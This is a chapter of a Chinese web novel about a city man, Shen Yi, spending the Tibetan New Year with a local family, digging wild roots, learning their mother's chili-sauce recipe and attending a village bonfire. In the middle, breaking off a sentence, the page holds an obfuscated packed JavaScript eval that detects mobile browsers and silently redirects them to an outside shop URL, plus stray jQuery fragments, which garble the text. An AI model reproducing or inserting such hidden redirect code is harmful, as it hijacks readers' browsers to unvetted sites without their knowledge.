还有一次是去山南之前，尼玛旺堆说要带沈翊去附近的山里采一种特别的食材。


    “不是什么珍贵的东西，”他说，“但阿妈每年都会用这个做一种辣椒酱里要放的香料，只有过年期间会去找。”


    沈翊没有犹豫就答应了，他呆着也是呆着，还不如忙活一点。


    出发时天才蒙蒙亮，尼玛旺堆背着那个鼓囊囊的藏式布包，沈翊跟在他身后，沿着村后的小路向山里走。


    越往上，植被越稀疏，到了山腰处的时候，眼前已经几乎没有树木，只有低伏的灌丛，只有远处寺庙的傍边有几颗树木排列在一起。


    尼玛旺堆放慢脚步，仔细搜索着岩缝和山间的石滩。


    “在这儿。”他蹲下身，指着一丛贴着地面生长的植物。


    沈翊凑近看，那植物叶片细小，呈灰绿色，边缘有细密的绒毛。它匍匐在碎石间，根系扎得很深，与周围灰褐色的岩石几乎融为一体。


    “这是什么？”


    “藏语叫‘破日’，”尼玛旺堆小心地拨开石砾，露出植物的根部，“汉话叫什么，我不知道。”


    他挖出一小块根茎。那根茎呈不规则的块状，表皮粗糙，颜色是土褐色的，像一块刚从土里刨出来的石头。


    “就……这个？”沈翊有些不敢相信。


    尼玛旺堆把那块像“石头”植物托在掌心，对着阳光仔细端详，他的眼神很专注，像是生怕会认错。


    “别看它丑，”他说，“阿妈做的破日酱，整个村子都找不到第二家。”


    他把根茎放进布袋，继续去寻找下一株。


    沈翊跟在他身后，看着他每一次蹲下、拨开石砾、小心挖掘的动作。在城里时间就是金钱，大家都在匆匆忙忙讨生活。


    而在这里，时间是种子，是根茎，是土壤里缓慢生长的滋味。


    尼玛旺堆挖完第八株破日，直起腰，看向远处。


    “那边有个泉眼，”他指着山坡另一侧，


    “我们去那儿歇会儿。”


    泉眼很小，只是石缝间渗出的一线水，汇成一洼清澈见底的小潭，尼玛旺堆蹲下，用手捧起水喝了一口，然后示意沈翊也喝。


    水冰凉刺骨，却有一种奇异的清甜，不是洒了糖的那种甜，而是那种从石头深处渗出的、矿物质与时间共同酿成的甘冽。


    尼玛旺堆从布袋里拿出糌粑和风干肉，又变戏法似的掏出两颗糖。


    他把一颗糖递给沈翊，另一颗含在自己嘴里。


    两人坐在泉边，沉默地吃着简单的午餐，阳光从松枝间筛落，在他们身上投下斑驳的光影。


    安静、祥和、平凡又快乐。


    “你小时候，经常跟阿妈来山里吗？”沈翊问。


    “嗯。”尼玛旺堆点头，“夏天采蘑菇，秋天采破日，阿妈认得很多植物，哪些能吃，哪些是药，哪些有毒。她没念过书，但就是知道。可能这就是生活，自然而然的会认识很多东西，会懂很多道理。”


    他顿了顿，嘴角微微弯起，有些无奈的说：


    “小时候不懂，觉得翻山越岭采这些东西太累了，为什么不去市场买？市场什么都有，市场也不远，很近。”


    “后来呢？”沈翊好奇的问。


    “后来去市里读书，才知道市场确实什么都有。”他低下头，看着掌心那块粗糙的破日根茎，“但阿妈说，市场卖的不是这个味道，我那时候不信，觉得她就是固执。”


    “现在信了？”沈翊笑着问。


    尼玛旺堆没有立刻回答，他把那块破日根茎放在阳光下，转来转去。


    “去年藏历年，阿妈病了，没力气上山。”他终于开口，声音很轻，“我去市场买了破日，回来让她做了辣椒酱，她尝了一口，说，这不是她想要的破日。”


    他转过头看向沈翊。


    “我以为她骗我，那东西长得一模一样，怎么可能不是？”


    “后来呢？”


    “后来我自己上山，挖了野生的，再让她做，”尼玛旺堆顿了顿，“两种酱放在一起，我尝了，确实不一样，不是阿妈他倔强，是我倔强。”他苦笑道。


    他并没有详细地解释“具体是哪里不一样”，沈翊也没有问，有些问题没必要深究。


    因为有些差异，确实无法用语言描述，只有味蕾能分辨。


    有时候语言只是人与人表达的工具，但是文字与语言也并非能做到百分百的表达出其含义。


    就像他此刻坐在这海拔四千五百米的山坡上，尝着尼玛旺堆从泉水里捧起的那捧水。它和超市里那些标着“冰川水”“纯净水”的瓶子里的水，成分表上大概一模一样。


    但他就是知道，它们不是同一种东西，又或许从一开始本来就不一样。


    先不说其他的，超市里的矿泉水确实没有这个泉水好喝。


    下山时，沈翊的布袋里装着很多破日，他走得很慢，每一步都小心翼翼，生怕踩到脚下的植物。


    其实植物的根茎很结实，它们生长在石头缝里，是苦寒之地活下来的根，他们的生命力很顽强。


    但尼玛旺堆还是走得小心翼翼。他想‘也许这就是对生命的尊重。’没有夸张的言语，没有优美且凄惨的文字，就是普普通通的行为举止。


    那天晚上，阿妈米玛啦把那袋破日倒进木盆里，开始清洗。


    沈翊坐在火炉边，看着她用一把旧牙刷，仔细刷去根茎表面的泥土和苔藓。她的动作很慢，很轻，像在对待刚出生的小羊羔。


    洗干净的破日放在砧板上，她用刀背轻轻拍裂，然后切成薄片，捣碎。


    炉灶上烧着一锅水。水开后，她把破日放进去焯烫。苦涩的气味随着蒸汽弥漫开来，沈翊下意识皱了皱鼻子。


    阿妈米玛啦抬起头，看到他那个表情，笑了。


    她用藏语说了句什么。尼玛旺堆翻译：“阿妈说，现在苦，做好就不苦了。”


    沈翊点点头。


    焯过水的破日沥干，阿妈米玛啦又从柜子里拿出一个陶罐。她打开盖子，舀出一勺陈醋，与新焯的破日、辣椒粉、盐巴、几种沈翊不认识的香料混合，再淋入滚烫的热水，迅速搅拌。


    香气在这一刻爆发。


    不是任何一种沈翊熟悉的香味。它太复杂了，有陈年的酸，有新焯的苦，有辣椒的烈，还有一种他无法用言语表达的、属于这片土地的底色。


    阿妈米玛啦把拌好的酱盛进干净的陶罐，封口前，用手指蘸了一点，递到沈翊嘴边。


    沈翊张开嘴。


    那一瞬间，他尝到了大自然的味道。


    尝到了碎石缝里匍匐的灰绿色叶片，尝到了四千五百米泉水的清冽，尝到了去年秋天到现在、整整一个冬天的时间。也许是他自己联想到的，也许是他经历了整个过程把味觉牢牢焊在记忆里，总之就是很神奇。


    有阿妈米玛啦那双布满老茧的手，是时间流逝的痕迹；还有尼玛旺堆，那个曾经不相信“野生的不一样”的少年，最后自己走上山，找到了答案。


    他把这一切，咽了下去。


    “好吃吗？”尼玛旺堆在傍边笑着问。


    沈翊看着他，莫名其妙的很开心。


    窗外的天已经黑透了，炉火映在尼玛旺堆脸上，把那双深色的眼睛照得亮晶晶的。


    “好吃。”沈翊点点头说，他的声音很轻。


    那天，沈翊吃到了他们做的酱料


    它不是主菜，只是餐桌上十几个碗碟里不起眼的一个。用粗陶小碟盛着，深褐色的酱料表面浮着一层红油，卖相甚至有些粗糙。


    沈翊夹了一筷子，送进嘴里。


    苦且辣。


    苦味先抵达舌尖，是一种很干脆的、毫不妥协的苦，像这片土地的冬天。然后是辣，辣椒的烈性紧随其后，灼烧着口腔。他几乎要皱起眉头然后，所有味道都化了。


    苦味之下渗出回甘，辣味退去后留下温热，盐巴吊出根茎本身的鲜，陈年酱料带来的醇厚，就很好吃，就算辣到哭到，还是想再尝一口。


    沈翊放下筷子，眯着眼睛，慢慢咀嚼，品尝味道。


    尼玛旺堆看着他，没说话。


    阿妈米玛啦给他碗里添了一块牦牛肉，也没说话。


    德吉次仁举起手机，悄悄拍了一张他闭眼咀嚼的照片。


    他并没有察觉到，要不是次仁德吉在他离开时拿出了这些照片他还以为自己忘记了。


    那一刻他忽然懂了，为什么阿妈米玛啦每年都要翻山越岭，去挖那些像石头一样的根茎。为什么她要用一年的时间，把苦味酿成醇厚。为什么她坚持不用市场上那些“长得一模一样”的替代品。


    因为这是独属于她的爱意。


    她不会说“我爱你”，不会说“我会照顾你”，不会说“这个家永远是你回来的地方”。她只是每年藏历新年，把这碟酱放在餐桌上，让所有围坐炉边的人，都尝一口她用心意和时间酿成的滋味。


    这就是她的“我爱你”，是她的诚意。


    沈翊睁开眼，用手拿了一块煮熟的肉，最后沾点酱料。


    这回，他没尝到苦味。


    只有回甘。


    那头过后的第三天，尼玛旺堆忽然问沈翊：“你想学做辣椒酱料吗？”


    沈翊愣了一下。


    “明年，”尼玛旺堆说，“明年这时候，阿妈可能腿脚没那么利索了，总得有人学会。”


    沈翊看着他。


    窗外是正月清晨的薄雾，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222633|196977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阳光还没完全穿透云层。尼玛旺堆站在窗边，背光，轮廓有些模糊。


    “我……”沈翊开口，发现自己声音有些涩，“我不知道明年还在不在。”


    尼玛旺堆没有立刻说话。


    他看着窗外，看了很久。


    “没关系。”他终于说，声音很轻，“今年我先学会，明年你要是还在，我再教你。”


    他顿了顿，继续说“要是你不在……至少我知道，你尝过阿妈做的辣椒酱。”


    这句话很轻，像窗外那层尚未散尽的晨雾，仿佛会立刻散去。


    沈翊没有回答。


    ‘他只是在想，明年这个时候，自己会在哪里呢？’


    还会在这个弥漫着牛粪烟火气和酥油茶香的院子里吗？还会在清晨醒来时，听到隔壁床铺传来均匀的呼吸声吗？还会坐在火炉边，等阿妈米玛啦端上一碗不咸不淡的藏面吗？


    他不知道。


    但他知道，这辣椒酱的味道，他已经刻进了心里。


    无论他到哪里，他都会记住这个一刻。


    那是只有时间和心意才能酿成的滋味。


    那是这片土地，这个家，那个人，给他的祝福。


    第二天凌晨他们村在后山祈福。


    沈翊也跟着早早起床，他原本不想去，他有些累了，这些天吃了太多，走了太多，心里装了太多。他只想坐在火炉边，听阿妈米玛啦诵经，看尼玛旺堆往炉膛里添柴。


    但德吉次仁一把拉起他：“走嘛！一年一次，不去可惜了！”


    尼玛旺堆也看着他。


    “去吧。”他说，“不远。”


    篝火在后山的山顶的空地上燃起，火舌舔舐着夜空，把周围人的脸映得通红。大家围在一起，有人开始唱歌，有人拿出青稞酒，酒在人们手里传递，一碗又一碗，像水一样流。


    沈翊坐在篝火边，手里捧着一碗青稞酒。


    他没有喝，只是捧着，大冬天的他是真喝不下了。


    尼玛旺堆坐在他身边。


    他们都没有说话。


    火光映在尼玛旺堆侧脸上，把他的轮廓切割成明暗分明的两部分。他的睫毛很长，在眼睑下投出小小的阴影。


    沈翊看着他，忽然想起那天在泉边，他问“市场卖的歇莫和野生的，到底哪里不一样”。


    尼玛旺堆没有回答。


    现在他知道了。


    野生的破日，根茎扎在碎石缝里，汲取的是高山融雪和千年冻土的养分。它的苦，是这片土地最诚实的味道。它的甘，是熬过漫长冬天后，春天终究会来的证明。


    市场卖的那些，不是在土里长大的。


    它们长在大棚里，长在流水线上，长在标准化的种植手册里。它们没有经历过风雪，没有等待过春天，没有在四千五百米的山坡上，与岩石争夺一寸生存空间。


    它们的味道，是“食物”的味道。


    而野生的破日，是“生命”的味道，就像在城里的那些日子，是“活着”的日子，既有对生命的尊重又在时刻诉说着生命的伟大。


    而在这里，在尼玛旺堆身边，他第一次学会了“生活”，明白了为什么他们尊重生命。


    篝火渐渐熄灭，人群散去。


    尼玛旺堆站起身，向沈翊伸出手。


    “回家。”他说。


    沈翊握住他的手，站起来。


    那只手温暖，干燥，骨节分明。它握过牛粪铲，救助过小动物，干过农活，却在此刻稳稳地握着他的手。


    “回家。”沈翊说。


    他们并肩走在回村的路上，德吉次仁扶着阿妈米玛啦走在前面，母亲的转经筒在夜色里发出轻微的嗡鸣。


    太阳升起来了，阳光铺满了荒芜的田野。


    沈翊忽然停下脚步，回头望了一眼。


    篝火已经熄灭，只有余烬在风中明明灭灭，像大地眨动的眼睛。


    他想起今晚最后一碗青稞酒，人们传着喝，传到尼玛旺堆手里时，他只喝了一口，然后递给沈翊。


    沈翊接过碗，就着他喝过的地方，也喝了一口。


    酒是温的，微甜，带着青稞特有的香气。


    他没有问这是不是某种仪式。


    尼玛旺堆笑着说，“这是快乐，不是仪式，是我们的生活常态。”


    他们只是并肩坐着，喝完那碗酒，然后把空碗传给了下一个人。


    就像所有不需要翻译的语言，就像阿妈米玛啦的那碗藏面，就像德吉次仁从拉萨带回的各种各位的零食，就像四千五百米山坡上的草药，就像今晚这碗青稞酒，他们喝过同一个碗的酒。


    食物是这样一种语言。


    它不需要翻译。


    爱也是。